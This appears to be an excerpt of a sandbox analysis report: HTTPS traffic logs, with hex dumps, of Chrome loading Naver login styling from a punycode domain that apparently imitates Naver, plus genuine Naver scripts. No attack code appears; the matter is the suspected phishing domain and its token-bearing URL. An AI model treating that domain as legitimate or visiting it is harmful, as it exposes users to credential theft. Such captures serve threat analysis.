2025-01-14 07:13:01 UTC	8000	IN	Data Raw: 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 35 70 78 0d 0a 7d 0d 0a 0d 0a 2e 73 65 63 75 72 69 74 79 34 77 61 79 2e 77 61 79 36 30 20 2e 62 74 6e 5f 61 72 65 61 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 35 70 78 0d 0a 7d 0d 0a 0d 0a 2e 73 65 63 75 72 69 74 79 34 77 61 79 20 64 64 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0d 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 36 70 78 3b 0d 0a 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 31 70 78 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 37 63 37 63 37 63 0d 0a 7d 0d 0a 0d 0a 2e 73 65 63 75 72 69 74 79 34 77 61 79 20 64 64 2e 62 74 6e 5f 61 72 65 61 20 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 30 70 78 Data Ascii: margin-top: 15px}.security4way.way60 .btn_area { margin-top: 15px}.security4way dd { font-size: 11px; line-height: 16px; letter-spacing: -1px; color: #7c7c7c}.security4way dd.btn_area { padding-top: 10px
2025-01-14 07:13:01 UTC	8000	IN	Data Raw: 74 3a 20 33 32 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 6e 69 64 2e 6e 61 76 65 72 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 75 73 65 72 2f 69 6d 61 67 65 73 2f 68 65 6c 70 2f 74 61 62 5f 76 69 65 77 72 65 63 6f 72 64 34 2e 67 69 66 29 20 6e 6f 2d 72 65 70 65 61 74 0d 0a 7d 0d 0a 0d 0a 2e 74 61 62 5f 76 69 65 77 72 65 63 6f 72 64 32 20 6c 69 2e 69 74 65 6d 31 20 61 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 35 36 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 33 32 70 78 0d 0a 7d 0d 0a 0d 0a 2e 74 61 62 5f 76 69 65 77 72 65 63 6f 72 64 32 20 6c 69 2e 69 74 65 6d 32 20 61 Data Ascii: t: 32px; border: none; background: url(https://static.nid.naver.com/images/user/images/help/tab_viewrecord4.gif) no-repeat}.tab_viewrecord2 li.item1 a { width: 156px; background-position: 0 -32px}.tab_viewrecord2 li.item2 a
2025-01-14 07:13:01 UTC	8000	IN	Data Raw: 6e 66 69 72 6d 5f 67 75 64 69 65 32 20 7b 0d 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 30 20 31 35 70 78 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 0d 0a 7d 0d 0a 0d 0a 2e 69 64 5f 63 6f 6e 66 69 72 6d 5f 62 6f 78 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 36 37 30 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 34 35 39 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 6e 69 64 2e 6e 61 76 65 72 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 75 73 65 72 2f 69 6d 61 67 65 73 2f 68 65 6c 70 2f 62 67 5f 69 64 5f 63 6f 6e 66 69 72 6d 2e 6a 70 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 20 74 6f 70 0d Data Ascii: nfirm_gudie2 { line-height: 18px; padding: 0 0 15px; color: #333}.id_confirm_box { width: 670px; height: 459px; background: url(https://static.nid.naver.com/images/user/images/help/bg_id_confirm.jpg) no-repeat left top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	60476	45.14.246.94	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:01 UTC	695	OUT	GET //assets/css/w_202105.css HTTP/1.1 Host: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:01 UTC	303	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:13:01 GMT Server: Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1 Last-Modified: Fri, 06 Dec 2024 00:28:21 GMT ETag: "77af-6288f17923694" Accept-Ranges: bytes Content-Length: 30639 Connection: close Content-Type: text/css
2025-01-14 07:13:01 UTC	7889	IN	Data Raw: 2f 2a 32 30 32 31 2d 38 2d 32 34 20 31 32 3a 31 37 3a 31 36 20 50 4d 2a 2f 0d 0a 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 62 6f 64 79 2c 62 75 74 74 6f 6e 2c 64 64 2c 64 6c 2c 64 74 2c 66 69 65 6c 64 73 65 74 2c 66 6f 72 6d 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 69 6e 70 75 74 2c 6c 65 67 65 6e 64 2c 6c 69 2c 6f 6c 2c 70 2c 73 65 6c 65 63 74 2c 74 61 62 6c 65 2c 74 64 2c 74 65 78 74 61 72 65 61 2c 74 68 2c 75 6c 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c Data Ascii: /2021-8-24 12:17:16 PM/@charset "UTF-8";body,button,dd,dl,dt,fieldset,form,h1,h2,h3,h4,h5,h6,input,legend,li,ol,p,select,table,td,textarea,th,ul { margin: 0; padding: 0; -webkit-text-size-adjust: none; font-family: -apple-system,Bl
2025-01-14 07:13:01 UTC	8000	IN	Data Raw: 20 20 20 20 77 69 64 74 68 3a 20 32 34 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 32 34 70 78 0d 0a 7d 0d 0a 0d 0a 2e 6d 65 6e 75 5f 6f 6e 65 73 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 30 0d 0a 7d 0d 0a 0d 0a 2e 6d 65 6e 75 5f 6f 6e 65 73 20 2e 6d 65 6e 75 5f 74 65 78 74 3a 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 37 38 70 78 20 2d 31 37 32 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 32 34 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 32 34 70 78 0d 0a 7d 0d 0a 0d 0a 2e 6d Data Ascii: width: 24px; height: 24px}.menu_ones { border-right: 0; border-radius: 0}.menu_ones .menu_text::before { background-position: -78px -172px; background-repeat: no-repeat; width: 24px; height: 24px}.m
2025-01-14 07:13:01 UTC	8000	IN	Data Raw: 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 32 33 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 32 33 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 0d 0a 7d 0d 0a 0d 0a 2e 6b 65 65 70 5f 63 68 65 63 6b 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 2b 2e 6b 65 65 70 5f 74 65 78 74 3a 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 32 30 36 70 78 20 30 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 32 33 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 32 33 70 Data Ascii: background-repeat: no-repeat; width: 23px; height: 23px; background-color: #fff}.keep_check input:checked+.keep_text::before { background-position: -206px 0; background-repeat: no-repeat; width: 23px; height: 23p
2025-01-14 07:13:01 UTC	6750	IN	Data Raw: 7a 65 3a 20 31 33 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 39 64 66 66 61 0d 0a 7d 0d 0a 0d 0a 2e 70 6f 70 75 70 5f 69 70 5f 72 65 6c 6f 67 69 6e 20 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 30 70 78 20 30 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 0d 0a 7d 0d 0a 0d 0a 2e 69 70 5f 72 65 6c 6f 67 69 6e 5f 62 6f 78 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 36 33 33 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 37 30 36 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 36 70 78 20 34 30 70 78 Data Ascii: ze: 13px; font-weight: 600; color: #c9dffa}.popup_ip_relogin { padding: 50px 0; text-align: left}.ip_relogin_box { position: relative; width: 633px; height: 706px; margin: 0 auto; padding: 56px 40px

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	60482	223.130.195.167	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:01 UTC	584	OUT	GET /template/gnb_utf8.nhn?2021.%208.%2026 HTTP/1.1 Host: static.nid.naver.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:02 UTC	284	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 14 Jan 2025 07:13:02 GMT Content-Length: 136359 Connection: close Last-Modified: Tue, 7 Jan 2025 06:06:54 GMT Expires: Wed, 15 Jan 2025 07:13:02 GMT Cache-Control: max-age=86400 Content-Type: application/x-javascript; charset=utf-8
2025-01-14 07:13:02 UTC	16100	IN	Data Raw: 0d 0a 76 61 72 20 67 6e 62 5f 64 61 74 65 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 0d 0a 0d 0a 76 61 72 20 67 6e 62 53 76 63 73 20 3d 20 7b 0d 0a 09 22 73 76 63 5f 6c 73 74 31 22 20 3a 20 5b 7b 22 69 64 22 3a 22 67 61 6d 65 22 2c 22 6e 61 6d 65 22 3a 22 ea b2 8c ec 9e 84 22 2c 22 73 6e 61 6d 65 22 3a 22 ea b2 8c ec 9e 84 22 2c 22 6c 69 6e 6b 22 3a 22 68 74 74 70 73 3a 2f 2f 67 61 6d 65 2e 6e 61 76 65 72 2e 63 6f 6d 2f 22 7d 2c 0d 0a 09 09 7b 22 69 64 22 3a 22 77 65 61 74 68 65 72 22 2c 22 6e 61 6d 65 22 3a 22 eb 82 a0 ec 94 a8 22 2c 22 73 6e 61 6d 65 22 3a 22 eb 82 a0 ec 94 a8 22 2c 22 6c 69 6e 6b 22 3a 22 68 74 74 70 73 3a 2f 2f 77 65 61 74 68 65 72 2e 6e 61 76 65 72 2e 63 6f 6d 2f 22 7d 2c 0d 0a 09 09 7b 22 69 64 22 3a 22 73 68 6f 70 70 69 6e 67 22 2c Data Ascii: var gnb_date = new Date();var gnbSvcs = {"svc_lst1" : [{"id":"game","name":"","sname":"","link":"https://game.naver.com/"},{"id":"weather","name":"","sname":"","link":"https://weather.naver.com/"},{"id":"shopping",
2025-01-14 07:13:02 UTC	16384	IN	Data Raw: 2b 20 22 5c 22 3e 22 20 2b 20 73 65 72 76 69 63 65 4c 69 73 74 5b 69 5d 2e 6e 61 6d 65 20 2b 20 22 3c 65 6d 20 63 6c 61 73 73 3d 5c 22 69 63 5f 67 6e 62 5f 6e 65 77 5c 22 3e 4e 65 77 3c 2f 65 6d 3e 3c 2f 6c 61 62 65 6c 3e 3c 2f 6c 69 3e 22 29 3b 0d 0a 20 09 09 09 7d 20 65 6c 73 65 7b 0d 0a 20 09 09 09 09 68 74 6d 6c 5f 62 75 66 66 65 72 2e 70 75 73 68 28 22 3c 6c 69 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 5c 22 63 68 65 63 6b 62 6f 78 5c 22 20 69 64 3d 5c 22 6e 73 76 63 5f 22 20 2b 20 73 65 72 76 69 63 65 4c 69 73 74 5b 69 5d 2e 69 64 20 2b 20 22 5c 22 20 6e 61 6d 65 3d 5c 22 73 65 6c 6d 65 6e 75 5c 22 20 63 6c 61 73 73 3d 5c 22 67 6e 62 5f 69 6e 70 75 74 5f 63 68 65 63 6b 5c 22 20 76 61 6c 75 65 3d 5c 22 5c 22 3e 20 3c 6c 61 62 65 6c 20 66 6f 72 3d 5c 22 Data Ascii: + "\">" + serviceList[i].name + "<em class=\"ic_gnb_new\">New</em></label></li>"); } else{ html_buffer.push("<li><input type=\"checkbox\" id=\"nsvc_" + serviceList[i].id + "\" name=\"selmenu\" class=\"gnb_input_check\" value=\"\"> <label for=\"
2025-01-14 07:13:02 UTC	16384	IN	Data Raw: 66 65 72 2e 70 75 73 68 28 22 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 62 6f 6f 6b 2e 6e 61 76 65 72 2e 63 6f 6d 5c 22 3e ec b1 85 3c 2f 61 3e 3c 2f 6c 69 3e 22 29 3b 0d 0a 67 6e 62 5f 68 74 6d 6c 5f 62 75 66 66 65 72 2e 70 75 73 68 28 22 3c 2f 75 6c 3e 22 29 3b 0d 0a 67 6e 62 5f 68 74 6d 6c 5f 62 75 66 66 65 72 2e 70 75 73 68 28 22 3c 75 6c 20 63 6c 61 73 73 3d 5c 22 67 6e 62 5f 73 65 61 72 63 68 5f 6c 73 74 5c 22 3e 22 29 3b 0d 0a 67 6e 62 5f 68 74 6d 6c 5f 62 75 66 66 65 72 2e 70 75 73 68 28 22 3c 6c 69 20 63 6c 61 73 73 3d 5c 22 67 6e 62 5f 66 69 72 73 74 5c 22 3e 3c 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 73 68 6f 70 70 69 6e 67 2e 6e 61 76 65 72 2e 63 6f 6d 2f 6e 73 2f 68 6f 6d 65 5c 22 3e ec 8a a4 ed 86 a0 ec 96 Data Ascii: fer.push("<li><a href=\"https://book.naver.com\"></a></li>");gnb_html_buffer.push("</ul>");gnb_html_buffer.push("<ul class=\"gnb_search_lst\">");gnb_html_buffer.push("<li class=\"gnb_first\"><a href=\"https://shopping.naver.com/ns/home\">
2025-01-14 07:13:02 UTC	16384	IN	Data Raw: 6c 2e 70 73 74 61 74 69 63 2e 6e 65 74 2f 73 74 61 74 69 63 2f 63 6f 6d 6d 6f 6e 2f 67 6e 62 2f 62 61 6e 6e 65 72 2f 70 72 6f 6d 6f 5f 6d 65 6d 62 65 72 73 68 69 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 36 31 70 78 20 32 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 3b 7d 22 29 3b 0d 0a 67 6e 62 5f 63 73 73 5f 62 75 66 66 65 72 2e 70 75 73 68 28 22 23 67 6e 62 20 2e 67 6e 62 5f 6d 79 5f 6c 69 20 2e 67 6e 62 5f 6d 79 5f 63 6f 6d 6d 75 6e 69 74 79 20 61 3a 61 63 74 69 76 65 2c 20 23 67 6e 62 20 2e 67 6e 62 5f 6d 79 5f 6c 69 20 2e 67 6e 62 5f 6d 79 5f 63 6f 6d 6d 75 6e 69 74 79 20 61 3a Data Ascii: l.pstatic.net/static/common/gnb/banner/promo_membership.png) no-repeat !important;background-size: 61px 20px !important;font-size: 0;line-height: 0;}");gnb_css_buffer.push("#gnb .gnb_my_li .gnb_my_community a:active, #gnb .gnb_my_li .gnb_my_community a:
2025-01-14 07:13:02 UTC	16384	IN	Data Raw: 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 31 35 70 78 20 30 70 78 3b 6d 61 72 67 69 6e 3a 32 70 78 20 30 20 30 20 34 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 22 29 3b 0d 0a 67 6e 62 5f 63 73 73 5f 62 75 66 66 65 72 2e 70 75 73 68 28 22 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 30 5c 5c 30 29 20 7b 20 2e 67 6e 62 5f 73 76 63 5f 6d 6f 72 65 20 2e 67 6e 62 5f 73 76 63 5f 6c 73 74 77 72 70 20 6c 69 2e 67 6e 62 5f 65 76 65 6e 74 20 65 6d 2e 69 63 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 70 78 7d 20 7d 22 29 3b 0d 0a 67 6e 62 5f 63 73 73 5f 62 75 66 66 65 72 2e 70 75 73 68 28 22 2e 67 6e 62 5f 73 76 63 5f 6d 6f 72 65 Data Ascii: d-position:-215px 0px;margin:2px 0 0 4px;font-size:0;line-height:0;vertical-align:top}");gnb_css_buffer.push("@media screen and (min-width: 0\\0) { .gnb_svc_more .gnb_svc_lstwrp li.gnb_event em.ic{margin-top:3px} }");gnb_css_buffer.push(".gnb_svc_more
2025-01-14 07:13:02 UTC	16384	IN	Data Raw: 29 3b 0d 0a 67 6e 62 5f 63 73 73 5f 62 75 66 66 65 72 2e 70 75 73 68 28 22 23 67 6e 62 2e 67 6e 62 5f 6f 6e 65 5f 66 6c 61 74 20 2e 6d 61 69 6c 5f 6c 69 20 61 2e 67 6e 62 5f 6d 61 69 6c 3a 68 6f 76 65 72 20 2e 67 6e 62 5f 69 63 6f 6e 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 73 6c 2e 70 73 74 61 74 69 63 2e 6e 65 74 2f 73 74 61 74 69 63 2f 63 6f 6d 6d 6f 6e 2f 67 6e 62 2f 6f 6e 65 2f 73 70 5f 67 6e 62 5f 34 62 31 36 65 36 2e 70 6e 67 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 70 78 20 2d 34 32 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 77 69 64 74 68 3a 20 32 30 70 78 3b 68 65 69 67 68 74 3a 20 31 36 70 78 3b 76 65 72 Data Ascii: );gnb_css_buffer.push("#gnb.gnb_one_flat .mail_li a.gnb_mail:hover .gnb_icon {background-image: url(https://ssl.pstatic.net/static/common/gnb/one/sp_gnb_4b16e6.png);background-position: 0px -42px;background-repeat: no-repeat;width: 20px;height: 16px;ver
2025-01-14 07:13:02 UTC	16384	IN	Data Raw: 20 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 29 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 67 6e 62 52 65 6d 6f 76 65 43 6c 61 73 73 4e 61 6d 65 28 65 6c 65 6d 65 6e 74 2c 20 63 6c 73 4e 61 6d 65 29 20 7b 0d 0a 09 69 66 20 28 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 20 22 20 2b 20 63 6c 73 4e 61 6d 65 29 20 21 3d 20 2d 31 29 20 7b 0d 0a 09 09 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 2e 72 65 70 6c 61 63 65 28 22 20 22 20 2b 20 63 6c 73 4e 61 6d 65 2c 20 22 22 29 3b 0d 0a 09 7d 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 67 6e 62 53 68 6f 72 74 4e 69 63 6b 28 6e 69 63 6b 4e 61 6d 65 2c 20 6e 75 6d 29 7b 0d 0a 09 69 66 20 28 Data Ascii: element.className);}function gnbRemoveClassName(element, clsName) {if (element.className.indexOf(" " + clsName) != -1) {element.className = element.className.replace(" " + clsName, "");};}function gnbShortNick(nickName, num){if (
2025-01-14 07:13:02 UTC	16384	IN	Data Raw: 0d 0a 09 09 09 09 6d 65 73 73 61 67 65 2e 6d 65 73 73 61 67 65 54 69 6d 65 4b 65 79 20 3d 20 64 72 61 77 4c 69 73 74 5b 69 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6d 65 73 73 61 67 65 74 69 6d 65 6b 65 79 22 29 3b 0d 0a 09 09 09 09 6d 65 73 73 61 67 65 2e 73 65 72 76 69 63 65 49 64 20 3d 20 64 72 61 77 4c 69 73 74 5b 69 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 65 72 76 69 63 65 69 64 22 29 3b 0d 0a 09 09 09 09 6d 65 73 73 61 67 65 2e 63 61 74 49 64 20 3d 20 64 72 61 77 4c 69 73 74 5b 69 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 61 74 69 64 22 29 3b 0d 0a 09 09 09 09 72 65 73 75 6c 74 2e 70 75 73 68 28 6d 65 73 73 61 67 65 29 3b 0d 0a 09 09 09 7d 3b 0d 0a 09 09 09 69 66 28 72 65 73 75 Data Ascii: message.messageTimeKey = drawList[i].getAttribute("data-messagetimekey");message.serviceId = drawList[i].getAttribute("data-serviceid");message.catId = drawList[i].getAttribute("data-catid");result.push(message);};if(resu
2025-01-14 07:13:02 UTC	5571	IN	Data Raw: 09 67 65 74 4d 69 6e 49 6e 64 65 78 41 72 72 20 3a 20 66 75 6e 63 74 69 6f 6e 28 61 72 72 61 79 29 7b 0d 0a 09 09 09 76 61 72 20 74 65 6d 70 41 72 72 20 3d 20 5b 5d 3b 0d 0a 09 09 09 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 61 72 72 61 79 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 09 09 09 20 20 20 20 74 65 6d 70 41 72 72 2e 70 75 73 68 28 5b 61 72 72 61 79 5b 69 5d 2c 69 5d 29 3b 0d 0a 09 09 09 7d 0d 0a 09 09 09 74 65 6d 70 41 72 72 2e 73 6f 72 74 28 29 3b 0d 0a 09 09 09 76 61 72 20 69 6e 64 65 78 65 73 20 3d 20 5b 5d 3b 0d 0a 09 09 09 66 6f 72 20 28 76 61 72 20 6a 20 3d 20 30 3b 20 6a 20 3c 20 74 65 6d 70 41 72 72 2e 6c 65 6e 67 74 68 3b 20 6a 2b 2b 29 20 7b 0d 0a 09 09 09 20 20 20 20 69 6e 64 65 78 65 73 2e 70 75 73 68 28 74 Data Ascii: getMinIndexArr : function(array){var tempArr = [];for (var i = 0; i < array.length; i++) { tempArr.push([array[i],i]);}tempArr.sort();var indexes = [];for (var j = 0; j < tempArr.length; j++) { indexes.push(t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	60485	110.93.159.38	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:13:03 UTC	350	OUT	GET /js/clickcr.js HTTP/1.1 Host: nid.naver.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 07:13:04 UTC	671	IN	HTTP/1.1 200 OK date: Tue, 14 Jan 2025 07:13:03 GMT content-type: application/javascript content-length: 9729 last-modified: Tue, 20 Aug 2024 11:04:13 GMT vary: Accept-Encoding etag: "66c4782d-2601" accept-ch: dpr,device-memory,viewport-width,rtt,downlink,ect,lang accept-ch: ua-arch,ua-platform,ua-platform-version,ua-model,ua-full-version,ua,ua-mobile accept-ch: sec-ch-ua-arch,sec-ch-ua-platform,sec-ch-ua-platform-version,sec-ch-ua-model,sec-ch-ua-full-version,sec-ch-ua-full-version-list,sec-ch-ua,sec-ch-ua-mobile accept-ch-lifetime: 86400 x-ua-compatible: IE=edge accept-ranges: bytes referrer-policy: unsafe-url server: nfront connection: close
2025-01-14 07:13:04 UTC	9729	IN	Data Raw: 69 66 20 28 74 79 70 65 6f 66 20 6e 63 6c 6b 20 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 7b 0d 0a 09 6e 63 6c 6b 20 3d 20 7b 7d 0d 0a 7d 0d 0a 69 66 20 28 74 79 70 65 6f 66 20 6e 63 6c 6b 4d 61 78 44 65 70 74 68 20 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 7b 0d 0a 09 76 61 72 20 6e 63 6c 6b 4d 61 78 44 65 70 74 68 20 3d 20 38 0d 0a 7d 0d 0a 69 66 20 28 74 79 70 65 6f 66 20 63 63 73 72 76 20 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 7b 0d 0a 09 76 61 72 20 63 63 73 72 76 20 3d 20 22 63 63 2e 6e 61 76 65 72 2e 63 6f 6d 22 0d 0a 7d 0d 0a 69 66 20 28 74 79 70 65 6f 66 20 6e 63 6c 6b 4d 6f 64 75 6c 65 20 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 7b 0d 0a 09 76 61 72 20 6e 63 6c 6b 4d 6f 64 75 6c 65 20 3d 20 22 63 63 22 0d 0a 7d 0d 0a Data Ascii: if (typeof nclk == "undefined") {nclk = {}}if (typeof nclkMaxDepth == "undefined") {var nclkMaxDepth = 8}if (typeof ccsrv == "undefined") {var ccsrv = "cc.naver.com"}if (typeof nclkModule == "undefined") {var nclkModule = "cc"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	60483	110.93.159.38	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
